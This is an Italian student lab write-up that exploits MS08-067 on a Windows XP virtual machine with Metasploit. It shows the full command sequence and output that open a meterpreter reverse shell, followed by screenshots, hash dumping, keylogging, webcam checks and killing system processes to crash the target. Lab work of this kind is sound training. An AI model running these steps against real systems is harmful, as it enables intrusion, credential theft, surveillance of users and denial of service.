

HACKING WINDOWS XP:

#METASPLOIT DA #KALI LINUX

TRACCIA:

HACKING MS08-067

SULLA BASE DELLA TEORIA, VIENE RICHIESTO ALLA STUDENTE DI OTTENERE UNA SESSIONE DI METERPRETER SUL TARGET WINDOWS XP SFRUTTANDO CON METASPLOIT LA VULNERABILITÀ MS08-067.

UNA VOLTA OTTENUTA LA SESSIONE, LO STUDENTE DOVRÀ:

- RECUPERARE UNO SCREENSHOT TRAMITE LA SESSIONE METERPRETER
- INDIVIDUARE LA PRESENZA O MENO DI WEBCAM SULLA MACCHINA WINDOWS XP
- ACCEDERE A WEBCAM / FARE DUMP DELLA TASTIERA / PROVARE ALTRO

INSTALLO LA VERSIONE DI WINDOWS XP A 32 BIT, IN QUANTO PIÙ VULNERABILE AGLI AXPLOI CHE ANDRÒ A FARE. AL FINE DELL'ESERCIZIO È SUFFICIENTE CHE LE DUE MACCHINE, KALI LINUX E WINDOWS XP, SIANO SULLA STESSA RETE. VADO QUINDI SUL PANNELLO DI CONTROLLO -> CONNESSIONI DI RETE -> PROPRIETÀ DELLA MIA LAN -> PROPRIETÀ DEL PROTOCOLLO INTERNET TCP/IP ED IMPOSTO QUINDI L'IP DI **WINDOWS XP** SU **192.168.11.113**, MENTRE QUELLO DI **KALI LINUX** RESTERÀ **192.168.11.111** DALL'ESERCIZIO DEL MODULO PRECEDENTE. FACCIO IN SEGUITO UN PING DI PROVA DA ENTRAMBE LE MACCHINE. DA WINDOWS XP IL PROMPT DEI COMANDI VIENE SEMPRE ESEGUITO CON IL MASSIMO DEI PRIVILEGI, PER CUI NON SONO NECESSARI PARTICOLARI ACCORGIMENTI PER APRIRE LA CONSOLE. VADO SUL PROMPT DEI COMANDI TRAMITE ESEGUI OPPURE PREMO CONTEMPORANEAMENTE I TASTI WIN + R -> E SCRIVO CMD.

```
C:\WINDOWS\system32\cmd.exe
C:\Documents and Settings\Administrator>ipconfig

Windows IP Configuration

Ethernet adapter Local Area Connection:

    Connection-specific DNS Suffix  . : 
    IP Address. . . . . : 192.168.11.113
    Subnet Mask . . . . . : 255.255.255.0
    Default Gateway . . . . . : 192.168.11.1

C:\Documents and Settings\Administrator>ping 192.168.11.111

Pinging 192.168.11.111 with 32 bytes of data:

Reply from 192.168.11.111: bytes=32 time<1ms TTL=64
Reply from 192.168.11.111: bytes=32 time=1ms TTL=64

Ping statistics for 192.168.11.111:
    Packets: Sent = 2, Received = 2, Lost = 0 (0% loss),
    Approximate round trip times in milli-seconds:
        Minimum = 0ms, Maximum = 1ms, Average = 0ms
Control-C
^C

File  Actions  Edit  View  Help

(kali@kali)-[~]
$ ping 192.168.11.113
PING 192.168.11.113 (192.168.11.113) 56(84) bytes of data:
64 bytes from 192.168.11.113: icmp_seq=1 ttl=128 time=1.75 ms
64 bytes from 192.168.11.113: icmp_seq=2 ttl=128 time=1.40 ms
^C
— 192.168.11.113 ping statistics —
2 packets transmitted, 2 received, 0% packet loss, time 1001ms
rtt min/avg/max/mdev = 1.398/1.574/1.751/0.176 ms
```

#ms08-067:

AVVIO L'INTERFACCIA DI **METASPLOIT** SU KALI CON IL COMAN-
DO «**MSFCONSOLE**», E CERCO IL MODULO EXPLOIT ADEGUATO AL
SERVIZIO VULNERABILE CITATO NELLA TRACCIA CON «**SEARCH
MS 08_067**». ESISTE SOLO UN MODULO CHE CORRISPONDE ALLA
RICHIESTA, QUINDI LO CARICO CON «**USE 0**». CONTROLLO I
PARAMETRI NECESSARI PER LANCIARLO CON IL COMANDO
«**SHOW OPTIONS**». NOTO LA VOCE «**YES**» DI FIANCO ALLA
COLONNA DEI PARAMETRI REQUIRED **RHOSTS**, DEVO DUNQUE
INSERIRE L'INDIRIZZO IP DELLA MACCHINA VITTIMA (**WINDOWS
XP**) CON «**SET RHOSTS 192.168.11.113**». GLI ALTRI PARAMETRI
SONO A POSTO, FACCIO UN «**CHECK**» E CONFERMATA LA
VULNERABILITÀ POSSO DUNQUE LANCIARE L'ATTACCO CON IL
COMANDO «**EXPLOIT** o **RUN**». L'ATTACCO VA A BUON FINE E MI
RESTITUISCE UNA SHELL SULLA MACCHINA VITTIMA, CHE
UTILIZZO PER PROVARE VARI COMANDI COME "**IFCONFIG**",
"**ROUTE**", "**SYSINFO**", "**SCREENSHOT**", "**PS**", ED UNA VOLTA
IDENTIFICATI I PROCESSI CHIAVE AD ESEMPIO "**KILL 4**"
(System), OPPURE "**KILL 644**" (services.exe), CHE MI COMPORTA
UN CRASH DI WINDOWS XP. PROVO ANCHE "**WEBCAM_LIST**", CHE
NON ME NE TROVA, E "**HASHDUMP**".
PROCEDO ANCHE A FARE IL DUMP DELLA TASTIERA.
PRIMA SPOSTO LA CATTURA SUL PROCESSO NOTEPAD.EXE
(1012) CON "**MIGRATE 1012**", CHE È DOVE ANDRÒ A SCRIVERE
DA WINDOWS XP, POI AVVIO LA CATTURA CON "**KEYSCAN_-
START**" E CON "**KEYSCAN_DUMP**" VISUALIZZO CIÒ CHE È STATO
DIGITATO SULLA MACCHINA VITTIMA.

```
kali@kali: ~
File Actions Edit View Help

msf6 > search ms 08_067

Matching Modules

#  Name                                     Disclosure Date  Rank  Check  Description
-  -  -  -  -
0  exploit/windows/smb/ms08_067_netapi      2008-10-28      great Yes   MS08-067 Microsoft Server Service Relative Path Stack Corruption

Interact with a module by name or index. For example info 0, use 0 or use exploit/windows/smb/ms08_067_netapi

msf6 > use 0
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms08_067_netapi) > show options

Module options (exploit/windows/smb/ms08_067_netapi):

Name      Current Setting  Required  Description
-  -  -  -  -
RHOSTS    192.168.11.111  yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT     445              yes       The SMB service port (TCP)
SMBPIPE   BROWSER          yes       The pipe name to use (BROWSER, SRV5VC)

Payload options (windows/meterpreter/reverse_tcp):

Name      Current Setting  Required  Description
-  -  -  -  -
EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
LHOST     192.168.11.111  yes       The listen address (an interface may be specified)
LPORT     4444             yes       The listen port

Exploit target:

Id  Name
--  -
0   Automatic Targeting

View the full module info with the info, or info -d command.

msf6 exploit(windows/smb/ms08_067_netapi) > set RHOSTS 192.168.11.113
RHOSTS => 192.168.11.113
msf6 exploit(windows/smb/ms08_067_netapi) > show options

Module options (exploit/windows/smb/ms08_067_netapi):

Name      Current Setting  Required  Description
-  -  -  -  -
RHOSTS    192.168.11.113  yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT     445              yes       The SMB service port (TCP)
SMBPIPE   BROWSER          yes       The pipe name to use (BROWSER, SRV5VC)

Payload options (windows/meterpreter/reverse_tcp):

Name      Current Setting  Required  Description
-  -  -  -  -
EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
LHOST     192.168.11.111  yes       The listen address (an interface may be specified)
LPORT     4444             yes       The listen port

View the full module info with the info, or info -d command.

msf6 exploit(windows/smb/ms08_067_netapi) > check
[*] 192.168.11.113:445 - The target is vulnerable.
msf6 exploit(windows/smb/ms08_067_netapi) > run

[*] Started reverse TCP handler on 192.168.11.111:4444
[*] 192.168.11.113:445 - Automatically detecting the target...
[*] 192.168.11.113:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.11.113:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.11.113:445 - Attempting to trigger the vulnerability...
[*] Sending stage (175686 bytes) to 192.168.11.113
[*] Meterpreter session 1 opened (192.168.11.111:4444 -> 192.168.11.113:1046) at 2024-02-28 15:02:24 +0100

meterpreter > ifconfig

Interface 1
-----
Name       : MS TCP Loopback interface
Hardware MAC : 00:00:00:00:00:00
MTU        : 1520
IPv4 Address : 127.0.0.1

Interface 2
-----
Name       : Intel(R) PRO/1000 T Server Adapter #2 - Packet Scheduler Miniport
Hardware MAC : 08:00:27:0c:55:0e
MTU        : 1500
IPv4 Address : 192.168.11.113
IPv4 Netmask : 255.255.255.0

meterpreter > screenshot
[-] Unknown command: screenshot
meterpreter > screenshot
Screenshot saved to: /home/kali/TjlvibJI.jpeg
meterpreter > sysinfo
Computer      : WINXPX32
OS            : Windows XP (5.1 Build 2600, Service Pack 3).
Architecture : x86
System Language : it_IT
Domain        : WORKGROUP
Logged On Users : 2
Meterpreter   : x86/windows
```

FileActionsEditViewHelp

Stdapi: User interface Commands

Command	Description
enumdesktops	List all accessible desktops and window stations
getdesktop	Get the current meterpreter desktop
idletime	Returns the number of seconds the remote user has been idle
keyboard_send	Send keystrokes
keyevent	Send key events
keyscan_dump	Dump the keystroke buffer
keyscan_start	Start capturing keystrokes
keyscan_stop	Stop capturing keystrokes
mouse	Send mouse events
screenshare	Watch the remote user desktop in real time
screenshot	Grab a screenshot of the interactive desktop
setdesktop	Change the meterpreters current desktop
uictl	Control some of the user interface components

Stdapi: Webcam Commands

Command	Description
record_mic	Record audio from the default microphone for X seconds
webcam_chat	Start a video chat
webcam_list	List webcams
webcam_snap	Take a snapshot from the specified webcam
webcam_stream	Play a video stream from the specified webcam

Stdapi: Audio Output Commands

Command	Description
play	play a waveform audio file (.wav) on the target system

Kali [in esecuzione] - Oracle VM VirtualBox

FileActionsEditViewHelp

meterpreter > getsystem
[*] Already running as SYSTEM
meterpreter > ps
meterpreter > ps

Process List

PID	PPID	Name	Arch	Session	User	Path
0	0	[System Process]				
4	0	System	x86	0	NT AUTHORITY\SYSTEM	
156	2016	explorer.exe	x86	0	WINXPX32\Epicode	C:\WINDOWS\Explorer.EXE
352	4	smss.exe	x86	0	NT AUTHORITY\SYSTEM	\SystemRoot\System32\smss.exe
492	156	ctfmon.exe	x86	0	WINXPX32\Epicode	C:\WINDOWS\system32\ctfmon.exe
576	352	csrss.exe	x86	0	NT AUTHORITY\SYSTEM	\??\C:\WINDOWS\system32\csrss.exe
600	352	winlogon.exe	x86	0	NT AUTHORITY\SYSTEM	\??\C:\WINDOWS\system32\winlogon.exe
644	600	services.exe	x86	0	NT AUTHORITY\SYSTEM	C:\WINDOWS\system32\services.exe
656	600	lsass.exe	x86	0	NT AUTHORITY\SYSTEM	C:\WINDOWS\system32\lsass.exe
724	644	alg.exe	x86	0	NT AUTHORITY\LOCAL SERVICE	C:\WINDOWS\system32\alg.exe
812	644	svchost.exe	x86	0	NT AUTHORITY\SYSTEM	C:\WINDOWS\system32\svchost.exe
892	644	svchost.exe	x86	0	NT AUTHORITY\NETWORK SERVICE	C:\WINDOWS\system32\svchost.exe
984	644	svchost.exe	x86	0	NT AUTHORITY\SYSTEM	C:\WINDOWS\system32\svchost.exe
1048	644	svchost.exe	x86	0	NT AUTHORITY\NETWORK SERVICE	C:\WINDOWS\system32\svchost.exe
1068	644	svchost.exe	x86	0	NT AUTHORITY\LOCAL SERVICE	C:\WINDOWS\system32\svchost.exe
1224	156	cmd.exe	x86	0	WINXPX32\Epicode	C:\WINDOWS\system32\cmd.exe
2316	644	spoolsv.exe	x86	0	NT AUTHORITY\SYSTEM	C:\WINDOWS\system32\spoolsv.exe
1448	984	wscntfy.exe	x86	0	WINXPX32\Epicode	C:\WINDOWS\system32\wscntfy.exe

meterpreter > phll System
Filtering on 'System'
Killing: 4, 0
[*] Stdapi_sys_process_kill: Operation failed: The parameter is incorrect.
meterpreter > kill 4
Killing: 4
meterpreter > kill 644
Killing: 644
meterpreter > !

Windows XP eng x32 [in esecuzione] - Oracle VM VirtualBox

FileMacchinaVisualizzaInserimentoDispositiviAiuto

System Shutdown

This system is shutting down. Please save all work in progress and log off. Any unsaved changes will be lost. This shutdown was initiated by NT AUTHORITY\SYSTEM

Time before shutdown: 00:00:47

-Message
The system process
C:\WINDOWS\system32\services.exe/
terminated unexpectedly with status code
0. The system will now shut down and
reboot.

startNetwork ConnectionsC:\WINDOWS\sp...System Shutdown

Kali@kali: ~

FileActionsEditViewHelp

Logged On Users : 2
Meterpreter : x86/windows

meterpreter > webcam_list
[-] No webcams were found
meterpreter > hashdump
Administrator:500:f0d412bd764ffe81aad3b435b51404ee:209c6174da490caeb422f3fa5a7ae634:::
Epicode:1003:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Frank:1005:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
HelpAssistant:1000:332cc7fd419d45fc5c74c6b3de1e3c5a:03c54301463e93eaab64a56e502550ba:::
Pin8:1004:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:27202477ab7087e1625a8b007f8c5836:::

Kali@kali: ~

FileActionsEditViewHelp

meterpreter > ps -a

Process List

PID	PPID	Name	Arch	Session	User	Path
0	0	[System Process]				
4	0	System	x86	0	NT AUTHORITY\SYSTEM	
356	4	smss.exe	x86	0	NT AUTHORITY\SYSTEM	\SystemRoot\System32\smss.exe
492	676	alg.exe	x86	0	NT AUTHORITY\LOCAL SERVICE	C:\WINDOWS\System32\alg.exe
608	356	csrss.exe	x86	0	NT AUTHORITY\SYSTEM	\??\C:\WINDOWS\system32\csrss.exe
632	356	winlogon.exe	x86	0	NT AUTHORITY\SYSTEM	\??\C:\WINDOWS\system32\winlogon.exe
676	632	services.exe	x86	0	NT AUTHORITY\SYSTEM	C:\WINDOWS\system32\services.exe
698	632	lsass.exe	x86	0	NT AUTHORITY\SYSTEM	C:\WINDOWS\system32\lsass.exe
844	676	svchost.exe	x86	0	NT AUTHORITY\SYSTEM	C:\WINDOWS\system32\svchost.exe
924	676	svchost.exe	x86	0	NT AUTHORITY\NETWORK SERVICE	C:\WINDOWS\system32\svchost.exe
1012	980	explorer.exe	x86	0	WINXPX32\Epicode	C:\WINDOWS\Explorer.EXE
1044	676	svchost.exe	x86	0	NT AUTHORITY\SYSTEM	C:\WINDOWS\system32\svchost.exe
1096	676	svchost.exe	x86	0	NT AUTHORITY\NETWORK SERVICE	C:\WINDOWS\system32\svchost.exe
1156	676	svchost.exe	x86	0	NT AUTHORITY\LOCAL SERVICE	C:\WINDOWS\system32\svchost.exe
1364	676	spoolsv.exe	x86	0	NT AUTHORITY\SYSTEM	C:\WINDOWS\system32\spoolsv.exe
1456	1012	ctfmon.exe	x86	0	WINXPX32\Epicode	C:\WINDOWS\system32\ctfmon.exe
1560	1044	wuauclt.exe	x86	0	NT AUTHORITY\SYSTEM	C:\WINDOWS\system32\wuauclt.exe
1680	1012	notepad.exe	x86	0	WINXPX32\Epicode	C:\WINDOWS\system32\NOTEPAD.EXE
1772	1044	wscntfy.exe	x86	0	WINXPX32\Epicode	C:\WINDOWS\system32\wscntfy.exe

meterpreter > migrate 1012
[*] Migrating from 1044 to 1012 ...
[*] Migration completed successfully.
meterpreter > keyscan_start
Starting the keystroke sniffer ...
meterpreter > keyscan_dump
Dumping captured keystrokes ...
<CR>
weilla<CR>
tutto ok<CR>
qua ci stanno tracciando ... <CR>
<MAIUSC>STACCA<CR>
<MAIUSC>STACCA<CR>

Windows XP eng x32 [in esecuzione] - Oracle VM VirtualBox

FileMacchinaVisualizzaInserimentoDispositiviAiuto

pwd - Notepad

FileEditFormatViewHelp

ciao bbe11
weilla
tutto ok
qua ci stanno tracciando...
STACCA
STACCA